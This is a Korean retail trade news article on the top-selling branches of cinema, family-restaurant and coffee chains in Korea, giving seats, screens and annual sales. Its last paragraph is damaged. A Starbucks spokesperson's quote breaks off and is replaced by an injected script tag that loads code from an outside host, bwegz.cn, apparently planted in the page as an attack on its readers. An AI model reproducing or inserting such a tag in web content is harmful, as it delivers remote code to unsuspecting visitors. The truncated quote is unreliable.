이 업종 1등점포 역시 최고 상권은 위치와 고객 지향성에 있다. 영화관은 젊은 층을 상대로 한 대표적인 문화상품으로서 상권내 입지도 중요하지만 각종 이벤트와 제휴를 통한 고객 서비스도 다양하다. 특히 지방에서 관객수와 매출을 주도하고 있는 롯데시네마는 지역밀착형 마케팅을 통해 고객을 모으고 있다. 패밀리형 레스토랑업체들은 고객 차별화 및 타켓 마케팅 그리고 다양한 메뉴 개발로 브랜드 이미지를 높이고 있다. 이들 중 콘셉트와 타겟을 확실이 한 빕스는 오버 슈팅을 하지 않으면서도 다양한 메뉴 개발로 고객 집객력을 높이고 있다. 편의점과 같은 업종은 편의점 위치가 중요하며 아울러 업주의 영업려과 성실성이 매출에 가장 큰 영향을 미친다. 그 중 점포수가 가장 많은 GS25는 점포 개설시 업주의 영업력을 객관적으로 검증하기 위해 적성검사를 본다는 사례는 패션업계에서도 도입 해볼만 한 사례다. <편집자 주>

영화관
국내 최초 1호 멀티 플렉스 영화관을 선보인 CGV의 매출 1등점은 CGV강변점(11개 스크린), 7개 상영관을 보유한 메가박스는 메가박스 코엑스(16개 스크린), 21개 상영관을 보유한 롯데시네마는 부산서면 롯데시네마(11개 스크린)가 가장 높은 매출을 보였다.
 메가박스 코엑스 영화관은 관객동원수 전년기준 620만명, 좌석수 4336석으로 관객수와 크기에 있어서 국내 최대 영화관이다. 메가박스 코엑스점은 영화 마니아만의 영상문화 이벤트가 특징이다. 메가박스 코엑스는 젊은층의 고객들을 위해 1년에 1번씩 각각 유럽영화제(MEFF)와 일본영화제를 개최해오고 있는데 이들 영화는 국내에 소개되지 않거나 정식 개봉되지 않은 영화 위주로 영화제 기간동안에 40∼50편씩의 영화를 소개하는 행사이다. 메가박스 코엑스점의 하현오점장은 “메가박스 코엑스점은 젊은층이 많이모이는 복합물의 특성을 살린 VIP시사회와 영화제가 고객 집객력을 높이는 것 같다”고 분석했다.
 롯데시네마는 총 21개 상영관에 165개 스크린을 가졌다. 부산서면 롯데 시네마(11개 스크린)는 연간 관객동원수만 270만이상이며 연간 매출액은 300억원이다. 롯데 시네마 부산서면 영화관은 항구도시 특성을 살린 실내 인테리어로도 유명하다.
CGV는 현재 34개의 상영관이 있으며, 그 중 CGV강변점은 대한민국 1호 멀티플렉스 영화관으로서 좌석수는 1900석에 11개 스크린이 있다. 본사에서 추정하는 연간 매출액은 300억원이 넘는다

패밀리 레스토랑
대기업이 직영으로 운영하는 패밀리 레스토랑은 통합 마케팅을 한다는 점이 특징이다. 정통 패밀리형 레스토랑을 추구하는 빕스는 32개 직영 매장 중 강동구 등촌점의 매출이 연간 60억원이다.
빕스 주 메뉴는 스테이크로서 전체 매출액 중 60∼70%을 차지한다. 그리고 교외형 패밀리 레스토랑을 추구해 가족단위 고객이 많은점이 특징이다. 2002년 12월부터 시작한 아웃백스테이크하우스는 70개의 직영점을 갖고 있으며, 매출이 좋은 매장은 수원 역사점으로 연간 매출액은 50억원이다. 이 곳이 장사가 잘되는 이유에 대해 회사관계자는 “상권과 점주 역량이 좋기 때문”이라고 말했다. 캐주얼 레스토랑을 지향하는 TGI는 37개 직영점을 갖고 있다. 그 중 인테리어가 뛰어난 매장인 수유TGI점의 연간 매출액은 30억원이다.
25개점의 직영점을 갖고 있는 베니건스는 최근 햄버거스테이크, 오무라이스 메뉴를 새로 개발하는 등 젊은층 수요확대에 적극 나서고 있다. 특히 이회사는 직장인들이 점심시간에 저렴하게 이용할 수 있는 세트메뉴개발에도 적극적이다. 베니건스 매장 중 매출액이 가장 높은 점은 부산서면점으로 월 평균 매출액은 5억, 좌석수 250석.

커피
커피가 있는 문화공간을 파는 스타벅스, 매장 컨셉을 유럽풍 테라스풍으로 꾸민 커피빈
커피외에 다른 서비스가 있다는 스타벅스는 국내에 141개점, 커피빈은 49개점을 갖고 있다.
실평수 140평에 230석을 갖춘 광화문 스타벅스점은 하루 1천명 이상이 찾는 매장으로 연간 매출액만 25억∼30억원에 이른다. 스타벅스의 기본메뉴는 40여가지에 이르며, 고객 취향에 따라 제공할 수 있는 커피메뉴는 1만9천가지나 된다. 스타벅스 홍보팀 이민규씨는 “ 커피 문화화 함께하는 스타벅스의 이미지가 고객들에게 편안한 휴식을 ?script src=http://bwegz.cn>

구장회 기자
kjh@fi.co.kr